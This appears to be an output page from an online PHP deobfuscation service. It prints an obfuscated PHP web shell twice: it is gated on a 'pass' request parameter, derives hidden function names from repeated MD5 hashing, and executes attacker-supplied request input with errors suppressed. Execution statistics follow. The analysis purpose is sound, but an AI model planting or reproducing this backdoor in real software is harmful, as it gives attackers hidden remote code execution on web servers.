Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0); $p=str_rot13("cnpx"); if(!isset($_REQUEST[pack("L",193694142..

Decoded Output download

<?php 
@error_reporting(0); 
$p=str_rot13("cnpx"); 
if(!isset($_REQUEST[pack("L",1936941424)]))exit(); 
$h=$_REQUEST[pack("L",1936941424)]; 
for($i=0;$i<10000;$i++)$h=md5($h,1); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e=$p("L",4336671913-$t[1]).$p("S",86171-$t1[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e1=$p("L",2317167118-$t[1]).pack("L",2350657810-$t[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$fex=$p("L",2029019048-$t[1]).$p("L",2213630902-$t[1]).$p("L",2130333601-$t[1]).$p("S",89781-$t1[1]).$p("C",181-$t2[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h); 
$r=$_REQUEST[$p("L",4994670222-$t[1])]; 
if($fex($e)){$e($r);} 
else if($fex($e1)){$e1($r);} 
?>

Did this file decode correctly?

Original Code

<?php
@error_reporting(0);
$p=str_rot13("cnpx");
if(!isset($_REQUEST[pack("L",1936941424)]))exit();
$h=$_REQUEST[pack("L",1936941424)];
for($i=0;$i<10000;$i++)$h=md5($h,1);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e=$p("L",4336671913-$t[1]).$p("S",86171-$t1[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e1=$p("L",2317167118-$t[1]).pack("L",2350657810-$t[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$fex=$p("L",2029019048-$t[1]).$p("L",2213630902-$t[1]).$p("L",2130333601-$t[1]).$p("S",89781-$t1[1]).$p("C",181-$t2[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);
$r=$_REQUEST[$p("L",4994670222-$t[1])];
if($fex($e)){$e($r);}
else if($fex($e1)){$e1($r);}
?>

Function Calls

md5 10001
pack 2
unpack 1
str_rot13 1
error_reporting 1

Variables

$h 5121fa3187f8032bf196ce9ae34502c4
$i 10000
$p pack

Stats

MD5 fe31e53eb3465e17e6bd506081866edb
Eval Count 0
Decode Time 30035 ms